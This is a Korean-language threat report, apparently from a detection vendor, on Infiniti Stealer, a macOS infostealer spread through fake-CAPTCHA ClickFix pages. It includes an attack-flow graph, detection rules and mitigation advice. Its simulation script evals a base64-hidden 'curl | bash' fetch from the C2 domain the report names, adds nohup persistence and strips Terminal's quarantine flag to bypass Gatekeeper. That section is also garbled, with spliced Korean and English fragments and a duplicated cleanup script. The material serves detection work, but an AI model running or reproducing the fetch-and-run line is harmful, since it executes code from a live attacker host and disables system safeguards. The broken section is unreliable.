인피니티 스틸러: ClickFix 및 Python/Nuitka를 사용하는 새로운 macOS 정보 탈취기
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
새롭게 확인된 macOS 정보 탈취 프로그램인 Infiniti Stealer가 ClickFix 소셜 엔지니어링 미끼를 사용하여 사용자를 감염시키는 것으로 보입니다. 이 멀웨어는 Python 코드를 Mach-O 바이너리로 변환해주는 Nuitka로 제작되어 정적 검사를 더 어렵게 만듭니다. 실행되면 자격 증명, 키체인 데이터, 암호화폐 지갑 파일 및 기타 민감한 정보를 탈취하고 HTTP POST 요청을 통해 수집된 데이터를 유출합니다. 이 캠페인은 또한 악성 도메인에 호스팅된 가짜 CAPTCHA 페이지를 이용해 피해자가 유해한 Bash 명령을 실행하도록 속입니다.
조사
연구원들은 정기적인 위협 헌팅 중에 페이로드를 발견하고, 처음에는 임시 이름 NukeChain으로 추적하다가 위협 행위자의 패널에서 최종 브랜드가 Infiniti Stealer로 노출되며 이를 식별했습니다. 분석 결과, 가짜 CAPTCHA를 통해 제공된 Bash 드로퍼, Nuitka로 컴파일된 로더, 파이썬 기반의 스틸러 모듈의 세 단계 흐름이 밝혀졌습니다. 드로퍼는 이진 파일을 /tmp에 배치하고, 검역 속성을 제거한 다음 환경 변수를 통해 C2 세부 정보를 전달하여 실행합니다. 최종 단계에서는 브라우저, 키체인, 지갑 및 개발자 관련 파일의 데이터를 수집한 뒤 공격자가 제어하는 서버로 전송합니다.
완화
사용자는 특히 CAPTCHA 검증을 가장하는 페이지와 같은 알 수 없는 웹사이트에서 명령어를 절대 복사하거나 실행해서는 안 됩니다. 방어자는 /tmp or ~/Library/LaunchAgents에서 의심스러운 파일을 검사하고 제거해야 하며, 신뢰할 수 있는 안티멀웨어 검사를 실행하고 잠재적으로 노출된 계정의 비밀번호를 깨끗한 시스템에서 변경해야 합니다. 수집될 가능성이 있는 모든 활성 API 토큰이나 SSH 키도 취소해야 합니다.
대응
탐지 팀은 /tmp 에서 기술한 이름 패턴과 일치하는 파일 생성 상황을 감시하여 드로퍼 스크립트와 Nuitka로 컴파일된 바이너리를 모니터링해야 합니다. 악성 Bash 명령 실행과 식별된 C2 도메인으로의 바깥쪽 HTTP POST 트래픽에 대한 알림이 필요합니다. 네트워크 접근은 update-check.com and infiniti-stealer.com 을 차단해야 합니다. 그 후 호스트 기반 포렌식 리뷰를 통해 탈취된 자격 증명을 확인하고 필수적인 자격 증명 재설정을 지원해야 합니다.
"graph TB %% Class definitions section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef artifact fill:#cccccc classDef operator fill:#ff9900 %% Node definitions action_initial_access["<b>Action</b> – <b>T1204.004 사용자 실행: 악성 복사 및 붙여넣기</b><br/><b>설명</b>: 피해자가 터미널에 악성 명령을 복사하여 붙여넣어 코드 실행을 유도합니다."] class action_initial_access action artifact_captcha_page["<b>Artifact</b> – <b>가짜 CAPTCHA 페이지</b><br/>URL: update-check.com<br/>피해자에게 복사-붙여넣기 명령을 제공합니다."] class artifact_captcha_page artifact action_execution_dead_drop["<b>Action</b> – <b>T1102.001 웹 서비스: Dead Drop Resolver</b><br/><b>설명</b>: 추가 페이로드를 검색하기 위해 웹 서비스를 dead drop으로 사용합니다."] class action_execution_dead_drop action process_curl_download["<b>Process</b> – <b>curl</b><br/><b>명령</b>: curl -sSfL … | bash<br/>1단계 Bash 드로퍼를 다운로드합니다."] class process_curl_download process artifact_temp_binary["<b>Artifact</b> – <b>임시 바이너리</b><br/>위치: /tmp/<br/>다운로드 후 검역 플래그가 제거됩니다."] class artifact_temp_binary artifact action_defense_evasion_sandbox["<b>Action</b> – <b>T1497.002 사용자 활동 체크</b> & <b>T1497.003 시간 기반 회피</b><br/><b>설명</b>: 가상화 또는 분석 환경을 감지하고 진행을 중단합니다."] class action_defense_evasion_sandbox action action_guardrails["<b>Action</b> – <b>T1480.002 실행 가드레일: 상호 배제</b><br/><b>설명</b>: 호스트에서 단일 인스턴스만 실행되도록 합니다."] class action_guardrails action action_file_deletion["<b>Action</b> – <b>T1070.004 파일 삭제</b><br/><b>설명</b>: 사용 후 임시 파일과 로그를 삭제합니다."] class action_file_deletion action action_obfuscation["<b>Action</b> – <b>T1027.005 난독화된 파일 또는 정보</b><br/><b>설명</b>: 악성 페이로드를 숨기기 위해 난독화를 사용합니다."] class action_obfuscation action action_collection_input_capture["<b>Action</b> – <b>T1056 입력 캡처</b><br/><b>설명</b>: 브라우저 자격 증명, 키체인 항목, 암호화폐 지갑 데이터, 스크린샷을 캡처합니다."] class action_collection_input_capture action artifact_collected_data["<b>Artifact</b> – <b>수집된 민감한 데이터</b><br/>브라우저 자격 증명, 키체인 항목, 암호화폐 지갑 파일, 스크린샷."] class artifact_collected_data artifact action_exfiltration_alternative["<b>Action</b> – <b>T1048 대체 프로토콜을 통한 탈출</b><br/><b>설명</b>: 데이터를 HTTP POST를 통해 원격 서버로 전송합니다."] class action_exfiltration_alternative action artifact_c2_domain["<b>Artifact</b> – <b>C2 도메인</b><br/>update-check.com"] class artifact_c2_domain artifact artifact_telegram_notification["<b>Artifact</b> – <b>텔레그램 알림</b><br/>공격자가 텔레그램을 통해 상태 업데이트를 수신합니다."] class artifact_telegram_notification artifact action_lateral_tool_transfer["<b>Action</b> – <b>T1570 측면 도구 전송</b><br/><b>설명</b>: 추가 페이로드를 요청 시 다운로드하여 추가 협박에 사용됩니다."] class action_lateral_tool_transfer action artifact_additional_payload["<b>Artifact</b> – <b>추가 페이로드</b><br/>다음 단계에 필요한 만큼 다운로드 됩니다."] class artifact_additional_payload artifact %% Connections showing flow action_initial_access –>|전달| artifact_captcha_page artifact_captcha_page –>|트리거| action_execution_dead_drop action_execution_dead_drop –>|사용| process_curl_download process_curl_download –>|작성| artifact_temp_binary artifact_temp_binary –>|활성화| action_defense_evasion_sandbox action_defense_evasion_sandbox –>|포함| action_guardrails action_defense_evasion_sandbox –>|포함| action_file_deletion action_defense_evasion_sandbox –>|포함| action_obfuscation action_file_deletion –>|제거| artifact_temp_binary action_obfuscation –>|난독화| artifact_temp_binary action_defense_evasion_sandbox –>|이끌다| action_collection_input_capture action_collection_input_capture –>|캡처| artifact_collected_data artifact_collected_data –>|송신됨| action_exfiltration_alternative action_exfiltration_alternative –>|대상| artifact_c2_domain artifact_c2_domain –>|알림| artifact_telegram_notification action_exfiltration_alternative –>|활성화| action_lateral_tool_transfer action_lateral_tool_transfer –>|다운로드| artifact_additional_payload "
공격 흐름
탐지
맥OS 게이트키퍼 우회에 의한 방어 회피 가능성 (명령어 사용)
보기
Base64 인코딩된 문자 조작 가능성 [MacOS] (명령어 사용)
보기
의심스러운 Curl 실행 시도 [MacOS] (명령어 사용)
보기
Infiniti Stealer를 탐지하기 위한 IOCs (HashMd5): ClickFix와 Python/Nuitka를 사용하는 새로운 macOS 정보 탈취 프로그램
보기
Infiniti Stealer를 탐지하기 위한 IOCs (HashSha256): ClickFix와 Python/Nuitka를 사용하는 새로운 macOS 정보 탈취 프로그램
보기
Infiniti Stealer 감염 탐지 터미널 명령 실행 [Linux 프로세스 생성]
보기
시뮬레이션 실행
전제조건: 텔레메트리 및 기준선 사전 점검이 통과해야 합니다.
공격 내러티브 및 명령
공격자는 macOS 워크스테이션에서 열면 터미널에서 다음과 같은 one-liner가 실행되는 피싱 링크를 전달합니다. 명령어:
- base64로 인코딩된 URL(페이로드 호스트)을 다운로드합니다.
curl -sSfL. - base64 문자열을 디코딩하여 실제 HTTPS URL을 밝혀냅니다. bash를 사용하여
- 다운로드한 스크립트를 실행합니다. 읽어 들인
를 사용하여 격리 속성을 제거하여 게이트키퍼를 우회합니다.. - 터미널이 닫힌 후에도 살아남도록 합니다. 정리 명령어
를 사용하여 격리 속성을 제거하여 게이트키퍼를 우회합니다.이 단계는 Sigma 규칙이 감시하고 있는 정확한 명령행 조각을 생성하며, 예상 경고를 생성합니다. - 리그레션 테스트 스크립트 #!/usr/bin/env bash
# ————————————————————
# Infiniti Stealer 감염 시뮬레이션 (macOS)
# ————————————————————
# 1. 악성 one-liner 생성 (규칙에서 기대하는 그대로)
MALICIOUS_CMD=”bash <(curl -sSfL $(echo aHR0cHM6Ly91cGRhdGUtY2hlY2suY29tL20vN2Q4ZGYyN2Q5NWQ5 | base64 –decode))”
# 2. 선택적 지속성 도우미 (탐지에 포함)
MALICIOUS_CMD+=” && nohup bash -c “$MALICIOUS_CMD” >/dev/null 2>&1 &”
MALICIOUS_CMD+=” && xattr -dr com.apple.quarantine /Applications/Utilities/Terminal.app”
# 3. 명령 실행
eval “$MALICIOUS_CMD”
# 4. SIEM 수집을 허용하기 위해 몇 초 대기
sleep 5
# 5. 수동 검증을 위한 마커 출력
echo “>>> 시뮬레이션 실행 – 경고용 SIEM 모니터링 <<<“
정리 명령어) to bypass Gatekeeper.
These steps produce the exact command‑line fragments the Sigma rule is watching for, thereby generating the expected alert.
Regression Test Script
#!/usr/bin/env bash
# ------------------------------------------------------------
# Infiniti Stealer 시뮬레이션 후 정리
# ------------------------------------------------------------
# 시뮬레이션에 의해 시작된 백그라운드 nohup 프로세스 종료
pkill -f "bash <(curl -sSfL"
# 생성되었을 수 있는 임시 파일 제거
rm -f /tmp/$(ls /tmp | grep -E 'tmp|bash|curl' | head -n 1)
# Terminal의 격리 속성 복원 (선택적으로, 위생을 위해)
xattr -w com.apple.quarantine "0081;5f4a9b2c;Safari;1234567890" /Applications/Utilities/Terminal.app 2>/dev/null || true
echo "정리 완료."
Cleanup Commands
#!/usr/bin/env bash
# ------------------------------------------------------------
# Cleanup after Infiniti Stealer simulation
# ------------------------------------------------------------
# Kill any background nohup processes started by the simulation
pkill -f "bash <(curl -sSfL"
# Remove any temporary files that might have been created
rm -f /tmp/$(ls /tmp | grep -E 'tmp|bash|curl' | head -n 1)
# Restore quarantine attribute on Terminal (optional, for hygiene)
xattr -w com.apple.quarantine "0081;5f4a9b2c;Safari;1234567890" /Applications/Utilities/Terminal.app 2>/dev/null || true
echo "Cleanup completed."
보고서 종료